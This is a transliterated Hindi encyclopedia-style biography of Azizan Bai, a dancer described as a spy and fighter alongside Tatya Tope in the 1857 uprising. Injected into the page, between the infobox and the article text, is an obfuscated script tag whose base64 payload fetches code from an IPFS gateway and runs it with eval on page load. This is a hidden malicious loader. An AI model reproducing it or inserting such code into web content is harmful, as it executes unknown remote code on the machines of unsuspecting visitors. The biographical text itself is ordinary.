अज़ीज़न बाई
azizan baee
| |
| poora nam | azizan baee |
| any nam | aanjula (mool nam) |
| janm | 22 janavari, 1824 |
| janm bhoomi | rajagadh, malava, madhy pradesh |
| mrityu | ? |
| abhibhavak | pita- shamasher sianh |
| karm bhoomi | bharat |
| prasiddhi | nartaki, guptachar v svatantrata senani |
| nagarikata | bharatiy |
| sanbandhit lekh | nana sahib, tatya tope |
| any janakari | tatya tope ke sath hi any kraantikariyoan ki prerana se azizan baee ne 'mastani toli' ke nam se 400 mahilaoan ki ek toli banayi jo mardana bhesh mean rahati thi. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>azizan baee (aangrezi: Azizun Bai, janm- 22 janavari, 1824) peshe se nartaki thian jo deshabhakti ki bhavana se paripoorn thian. svadhinata aandolan se unaka koee niji fayada nahian tha, lekin vah nana sahib aur tatya tope se behad prabhavit huee thian. azizan baee ke yahaan ane vale aangrez sipahiyoan se vah aham janakariyaan lekar svatantrata senaniyoan tak pahuanchatian. kahate haian ki azizan baee purush sipahi ki tarah taiyar hotian aur hamesha apane sath pistaul rakhatian. unake ghar par kee bar bharatiy sipahi yojana banane ke lie jutate the. kaha jata hai ki azizan baee ne kee aangrezi sipahiyoan ko gup-chup tarike se maut ke ghat utara tha.
parichay
bharat ki azadi ki l daee mean hissa lene valoan mean sirph puroosh hi nahian, mahilaean bhi shamil thian. inamean jahaan ek or kulin parivaroan ki sanbhraant mahilaean thian, vahian doosari or tavayaphean v nrirtakiyaan bhi isamean pichhe nahian rahian. aisa hi ek pramukh nam hai- azizan baee. azizan baee vaise to peshe se ek tavayaph thian, lekin unhoanne 1857 ke svatantrata sangram mean badh-chadhakar hissa liya aur apane junoon tatha desh ke lie mar mitane ki bhavana ke chalate aangrajoan ko lohe ke chane chabane par majaboor kar diya.[1]
azizan baee ka janm 22 janavari san 1824 ko madhy pradesh ke malava rajy ke rajagadh mean hua tha. unake pita shamasher sianh ek zagiradar the. azizan baee ka mool nam aanjula tha. ek din ve apani saheliyoan ke sath mela ghoomane gayi thian. vahaan par achanak ek aangrez tuk di ne hamala kar diya aur unhean agava kar liya. aanjula ko lekar jab aangrez sipahi nadi par bane pul se gujar rahe the, to usi vakt jan bachane ke lie aanjula nadi mean kood gayian. jab aangrez vahaan se chale gaye, to ek pahalavan ne nadi mean kood kar aanjula ki jan bachaee. vah pahalavan kanapur ke ek chakalaghar ke lie kam karata tha. usane aanjula ko le jakar vahaan bech diya. is prakar aanjula ka nam badal kar azizan baee ho gaya aur unhean tavayaph ka prashikshan diya gaya. kuchh hi samay mean vah apani khoobasoorati aur nrity ke lie door door tak prasiddh ho gayian.
tatya se mulakat
azizan baee mulaganj mean rahati thian. yahaan par aangrej phauj ke aphasar aksar mujara dekhane ke lie ate the. usi dauran tatya tope aur unake sainikoan ne bhi un goroan par najar rakhane ke lie yahian par apana thikana bana liya. holi dahan ke do din pahale tatya ne aangrej phauj ke aphasaroan par hamala bol diya. aangrejoan ne azizan baee ko age kar diya aur bhag kh de hue. tabhi tatya ki najar azizan baee par p di aur unhoanne holi dahan par bithoor ane ka nyota de diya.
azizan baee ne unaka amantran spikar kar liya aur holika dahan ke din bithoor pahuanch gee aur vahaan nrity pesh kiya. tatya inam svaroop paise dene lage to azizan baee ne lene se iankar kar diya. tatya ne vajah poochhi to usane kaha ki agar kuchh dena hai to apani sena ki vardi de do. phir kya tha tatya ne azizan baee ko apana mukhabir bana liya. holika dahan ke bad azizan baee ne mulaganj mean aangrejoan ko bulaya, jahaan pahale se ghat lagae baithe kraantikariyoan ne un par hamala bol diya. holi ke din moolaganj ki galiyaan rang ke bajaye goroan ke khoon se lal ho gee.[2]
400 mahilaoan ki toli
tatya tope ke sath hi any kraantikariyoan ki prerana se azizan baee ne 'mastani toli' ke nam se 400 mahilaoan ki ek toli banayi jo mardana bhesh mean rahati thi. ek taraph ye aangrejoan se apane husn ke dam par raj ugalavatian, vahian naujavanoan ko kraanti mean bhag lene ke liye prerit karatian. satichaura ghat se bachakar bibighar mean rakhi geean 125 aangrej mahilaoan aur bachchoan ki rakhavali ka kary azizan baee ki toli ke hi jimme tha.
giraftari
bithoor ke yuddh mean parajit hone par nana sahab aur tatya tope to palayan kar gaye lekin azizan baee pak di gayian. is dauran azizan baee ne talabar ki jagah phir se ghuangharoo ka kamal dikhaya aur apane nrity se aangrez aphasar janaral haival aauk ko phida kar liya. viraangana ke nrity aur saundary par janaral haival aauk phida ho gaya aur shadi ka ye prastav rakha ki yadi vah apani galatiyoan ko svikar kar kshama maang le, sath hi tatya tope ka pata bata dean to use maph kar diya jayega. kiantu azizan baee ne ek viraangana ki bhaanti usaka prastav thukara diya aur palat kar kaha ki maphi to aangrejoan ko maangani chahie, jinhoanne itane julm dhaye.
shahadat
itane par ag baboola ho haival aauk ne azizan baee ko goli marane ke adesh de diye. kahate haian ki janaral haival aauk ne usi rat jel ka l aaukap khulavaya aur azizan baee se mila. usane azizan baee ko dhan- daulat ke sath patni ka darja dene ko kaha, par azizan baee se usase kaha ki agar de sakate ho to hamean ajadi de do. jab viraangana azizan baee ne janaral ki bat nahian mani to unhean bithoor aur mainavati marg par le jakar khud haival aauk ne unake sharir par kee goliyaan dag dian. kshan bhar mean hi azizan baee ka aang-pratyang dharati maan ki god mean so gaya.[2]
vinayak damodar savarakar ne azizan baee ki tariph karate hue likha hai, "azizan baee ek nartaki thian, parantu sipahiyoan ko usase behad sneh tha. azizan ka pyar sadharan bajar mean dhan ke lie nahian bikata tha. unaka pyar puraskar svaroop us vyakti ko diya jata tha jo desh se prem karata tha. azizan ke suandar mukh ki muskurahat bhari chitavan yuddharat sipahiyoan ko prerana se bhar deti thi. unake mukh par bhrikuti ka tanav yuddh se bhagakar ae hue kayar sipahiyoan ko pun: ranakshetr ki or bhej deta tha."
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ ek tavayaph jisane 1857 ke sangram mean aangrejoan ke chhakke chhu da die (hiandi) me.scientificworld.in. abhigaman tithi: 20 pharavari, 2022.
- ↑ 2.0 2.1 azizan ne aangrejoan ke khoon se kheli thi holi (hiandi) patrika.com. abhigaman tithi: 20 pharavari, 2022.